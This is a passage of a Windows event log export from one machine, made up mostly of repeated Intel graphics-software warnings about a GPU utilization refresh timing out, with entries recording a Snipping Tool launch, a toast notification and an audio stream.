09:10:17.937\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:18.384\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:18.608\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:19.162\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:19.385\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:19.608\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:20.387\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:20.609\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:20.832\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:21.054\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:21.390\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:22.394\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:22.841\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:23.289\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:23.513\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:23.737\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:23.959\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:24.182\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:24.516\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:24.741\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:24.964\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:25.965\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:26.300\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:26.523\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:26.857\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:27.081\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:27.304\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:27.526\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:28.190\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:28.857\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:29.079\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:29.302\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:30.749\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:31.083\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:31.419\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:31.643\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:33.204\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:33.537\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:34.205\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:34.428\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:34.985\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:35.545\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:35.881\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:36.105\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:38.114\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:38.671\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:38.895\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:39.119\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:39.452\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:39.676\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:39.899\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:40.675\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:40.898\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:42.011\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:42.345\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:42.568\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:42.791\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:43.013\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:44.127\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:44.461\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:44.795\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:45.017\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:45.577\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:45.801\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:46.134\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:46.359\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:46.582\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:46.805\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:48.034\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:48.481\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:48.704\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:49.486\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:50.032\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:50.251\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:50.809\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:51.033\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:51.593\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:51.930\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:52.376\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:52.598\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:53.218\t8001\t\"Skipping license manager: PFN Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:10:53.231\t8001\t\"Skipping license manager: PFN Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:10:53.231\t219\tPSMFlags for Desktop AppX process %1 with applicationID %2 is %3.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:10:53.269\t210\tCreated Desktop AppX container {245CDF31-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:10:53.269\t211\tAdded process 14764 to Desktop AppX container 245cdf31-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:10:53.271\t201\tCreated process 14764 for application Microsoft.ScreenSketch_8wekyb3d8bbwe!App in package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe. [LaunchProcess]\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:10:53.800\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:53.804\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"SnippingTool\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:57.468\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:57.472\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:57.689\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:58.354\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:58.689\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:59.246\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:59.250\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"SnippingTool\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:59.251\t2416\tA local notification was received from Microsoft.ScreenSketch_8wekyb3d8bbwe!App [AppUserModelId] with a 0 [NotificationId] through an application endpoint.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:10:59.256\t2418\tA local notification was submitted to threadpool: Microsoft.ScreenSketch_8wekyb3d8bbwe!App [AppUserModelId] toast [NotificationType] 9402 [NotificationTrackingId] Local [NotificationSource].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:10:59.264\t3052\tToast with notification tracking id 9402 is being delivered to Microsoft.ScreenSketch_8wekyb3d8bbwe!App on session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:10:59.269\t3153\tToast with notification tracking id 9402 is delivered to Microsoft.ScreenSketch_8wekyb3d8bbwe!App on session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:10:59.410\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:10:59.453\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:59.456\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:59.514\t217\tDestroyed Desktop AppX container {245CDF31-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:10:59.515\t8001\t\"Skipping license manager: PFN Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:11:00.014\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:00.136\t24\t\"Stream started.\nApp Id: Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy!App\nPID: 13180\nAudio Stream Category: 5\"\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 09:11:00.572\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:01.014\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:01.348\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:01.470\t25\t\"Stream stopped.\nApp Id: Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy!App\nPID: 13180\nAudio Stream Category: 5\"\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 09:11:01.571\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:01.793\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 